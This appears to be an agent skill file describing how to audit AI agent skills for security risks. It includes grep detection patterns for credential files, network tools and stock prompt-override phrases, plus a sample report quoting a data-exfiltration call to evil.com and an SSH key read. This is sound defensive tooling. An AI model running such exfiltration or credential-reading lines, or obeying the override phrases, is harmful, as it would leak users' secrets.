Skill Security Auditor

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

Note: upstream documents a scripts/skill_security_auditor.py runner, but that script is not bundled with this skill — only this SKILL.md and references/threat-model.md ship. Run the audit directly with the greps below instead; the pattern tables in the rest of this document are the actual substance, and Claude can apply them without the script.

Audit a skill directory before installing it:

TARGET=/path/to/skill-name

# 0. Inventory — what does this skill actually ship?
find "$TARGET" -type f | sed "s|$TARGET/||"
find "$TARGET" -type f \( -name '*.so' -o -name '*.dll' -o -name '*.exe' -o -name '*.bin' \)   # unexpected binaries
find "$TARGET" -type l -exec ls -l {} \;                                                        # symlinks escaping the dir

# 1. Code execution (CRITICAL) — see the pattern tables below for the full list
grep -rnE "os\.system|os\.popen|subprocess.*shell\s*=\s*True|\beval\(|\bexec\(|__import__|pickle\.loads|yaml\.load\((?!.*SafeLoader)" "$TARGET"

# 2. Credential / exfiltration risk
grep -rnE "\.ssh|\.aws|\.netrc|id_rsa|API_KEY|SECRET|TOKEN|\.bashrc|\.zshrc|crontab" "$TARGET"
grep -rnE "curl |wget |requests\.(get|post)|urllib|httpx|socket\.|nc " "$TARGET"

# 3. Obfuscation
grep -rnE "base64\.b64decode|codecs\.decode|chr\([0-9]+\)|\\\\x[0-9a-f]{2}" "$TARGET"

# 4. Prompt injection in the skill's own markdown
grep -rnE "ignore (previous|all) instructions|disregard|you are now|<!--" "$TARGET" --include=*.md
python3 -c "import sys,pathlib
for p in pathlib.Path('$TARGET').rglob('*.md'):
    t=p.read_text(encoding='utf-8',errors='replace')
    bad=[c for c in t if c in '​‌‍⁠']
    if bad: print(f'{p}: {len(bad)} zero-width chars')"

# 5. Dependency supply chain
grep -rnE "pip install|npm i |uv add|requirements\.txt|package\.json" "$TARGET"

Then read the findings against the severity tables below and assign PASS / WARN / FAIL. Treat any CRITICAL hit as FAIL unless you can read the surrounding code and prove it benign.

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

4. File System & Structure

Audit Workflow

1. Run the scanner on the skill directory or repo URL
2. Review the report — findings grouped by severity
3. Verdict interpretation:
   • ✅ PASS — No critical or high findings. Safe to install.
   • ⚠️ WARN — High/medium findings detected. Review manually before installing.
   • ❌ FAIL — Critical findings. Do NOT install without remediation.
4. Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

• Cannot detect logic bombs or time-delayed payloads with certainty
• Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
• Network destination reputation checks require internet access
• Does not execute code — static analysis only (safe but less complete than dynamic analysis)
• Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.